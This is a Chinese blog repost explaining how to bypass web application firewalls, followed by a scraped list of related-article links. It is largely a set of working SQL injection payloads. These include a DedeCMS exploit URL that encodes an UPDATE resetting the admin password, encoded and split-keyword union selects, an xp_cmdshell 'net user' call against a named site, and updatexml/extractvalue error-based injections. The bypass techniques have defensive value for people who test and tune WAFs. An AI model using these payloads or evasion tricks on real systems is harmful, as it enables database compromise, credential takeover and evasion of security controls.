1.什么是WAF

Web Application Firewall

通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。

目前主要有单设备WAF与云WAF

2.WAF的现状

1.太多数WAF能够拦截较为普通的WEB攻击  
2.大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力 
3.基本所有的WAF都存在策略性绕过
4.由于waf的业务限制等各种原因导致存在通用绕过

3.WAF应用分析

举例DEDECMS的一个变量注入漏洞

http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

请求过程示意图(单向)

WAF接收请求会先做什么

WAF逻辑漏洞及白名单阶段的绕过

  • 搜索引擎白名单(判断引擎方式不严)

  • IP段白名单绕过

  • 目录白名单绕过

  • 绕过代理直接请求源站(代理模式云WAF)

WAF确认身份后的事

WAF数据包解析阶段的绕过(通用型绕过)

一、各种编码绕过

1.?id=1 union select pass from admin limit 1 ?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31

2.?id=1 union select pass from admin limit 1 ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1

二、复参数绕过 1.?id=1 union select 1&id=pass from admin

三、异常Method绕过

csadsl /1.php?id=1 and 1=1 HTTP/1.1

Host: www.cnseay.com Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

四、编码方式绕过(urlencoded/mutipart)

解析阶段绕过 --最具杀伤力(一)

1.各种编码绕过

2.复参数绕过(依赖Server)

3.特殊字符污染绕过(截断/%/09-0d等)

4.异常Method绕过

5.编码方式绕过(urlencoded/from-data)

6.超大数据包绕过

7.数据包分块传输绕过

WAF解析数据包后的那些事(单向)

WAF规则策略阶段的绕过--规则网

一、数据库特殊语法绕过

1.mysql .符号和~符号和!符号以及+和-号连接

?id=1.union%0aselect@1,2 ,!3,4

二、关键字拆分绕过

hackwuhen.blog.51cto.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')

三、请求方式差异规则松懈性绕过

GET /id=1 union select 1,2,3,4 ---拦截 POST

id=1 union select 1,2,3,4 ---绕过

waf业务限制,POST规则相对松懈

四、冷门函数/标签绕过

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

WAF规则策略阶段的绕过总结(一)

1.字母大小写转换

2.数据库特殊语法绕过

3.关键字拆分绕过

4.请求方式差异规则松懈性绕过

5.多URL伪静态绕过

6.白字符绕过

7.冷门函数/标签绕过

本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1420813,如需转载请自行联系原作者

黑客是如何绕过WAF的相关推荐

  1. waf怎么读_技术分享:杂谈如何绕过WAF(Web应用防火墙)

    ‍‍0x01开场白 ‍‍‍‍这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. ‍‍可能在大家眼中WAF(Web应用防火墙)就是"不要脸"的代名词.如果没有他,我 ...

  2. sqlmap绕过d盾_WEBSHELL免杀绕过WAF思路amp;方法(一)

    本文主要介绍WEBSHELL免杀绕过的思路与方法,网上很多的方法基本都被安全厂家加入了检测规则已经不能免杀,所以我们要了解我们主要对手WAF的检测技术,故基于前人优秀基础上我们需要有能力衍生出免杀马, ...

  3. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. waf可以查看post请求吗_WAFNinja:一款绕过WAF的渗透工具

    0x00 前言 在我们平时做渗透测试的时候,难免会遇到各种WAF的阻挡.这时一款良好的绕过WAF的渗透测试工具就显得很受渗透测人员欢迎,在这里我们推荐一款绕过WAF的实用渗透工具,希望对大家平时做渗透 ...

  5. 【Web安全】实战sqlmap绕过WAF

    前言 随着最近几年安全行业的兴起,市场关注度的不断提升,安全防护的软件也在不断提升,不在是那个随便找一个站就能马上发现漏洞了,没有以前那么多所谓的"靶场"了,在这次的实战中遇到的S ...

  6. 实战|简单绕过waf拿下赌博网站

    确定目标 收集信息 x.x.x.x 首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上... 随手加个路径,报错了,当看到这个界面我瞬间就有思路了 为什么这么说呢, ...

  7. 实战sqlmap绕过WAF

    本文转载于https://xz.aliyun.com/t/10385 实战演示 通过前期的信息收集发现存在注入的页面如下: 直接使用sqlmap跑发现出现如下错误: python2 sqlmap.py ...

  8. 绕过 WAF:绕过一些 WAF 设备的 Burp 插件

    我写了这个插件使用的技术博客文章在这里一会儿回来.如果存在特定标头,许多 WAF 设备可能会被诱骗相信请求来自自身,因此是可信的.绕过方法的基础知识可以在此处的 HP 博客文章中找到. 一段时间以来, ...

  9. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

最新文章

  1. PyTorch 学习笔记(四):权值初始化的十种方法
  2. 用友Cell组件使用总结
  3. 转--SDP 协议分析
  4. rsynv+inotify触发试实时同步
  5. JavaScript实现articulation-points(关键点)(割点)算法(附完整源码)
  6. MySQL操作实战(三):表联结
  7. [react] react中除了在构造函数中绑定this,还有别的方式吗?
  8. Windows Phone 8.1 开发实例 网络编程 天气预报
  9. 独立完成一个城市选择组件(阿里前端题目,内附知识点、思路)
  10. 职称英语与计算机考试试题,2020年职称计算机考试模拟选择试题及答案.doc
  11. TinkPad E40 CentOS 6.5 无线网卡驱动 RTL8191SEvB 安装
  12. MVC4 Model ValueProvider
  13. 超宽带 DWM1000模块 应用
  14. win10安装MinGW
  15. 网上赚钱的方法门路有哪些?盘点网上赚钱最可靠的10种方法!
  16. 毕业论文页码及目录设置方法
  17. oracle中lob类型学习
  18. 微信小程序开发工具调试
  19. ContestHunter #26 B 玩骰子
  20. 提高程序可读性的技巧

热门文章

  1. Gartner:如何利用数字孪生帮助企业创造价值?
  2. 报告:美国AI投资占全球56% 中国第二增长最快
  3. 美智库发布报告:《美国在人工智能时代的行动蓝图》
  4. 数据驱动的未来城市八大趋势
  5. PPT|工业互联网关键技术专利态势
  6. 证明黎曼猜想的5页论文已发布!最简洁的解读在这里
  7. 总监调岗至前台,企业被判赔偿26万,法院:“侮辱性调岗”违法!
  8. 在线等!同事扔需求,不会写代码躲在厕所怎么办 | 每日趣闻
  9. 漫画:什么是 “并查集” ?
  10. 来,加入前端自动化单元测试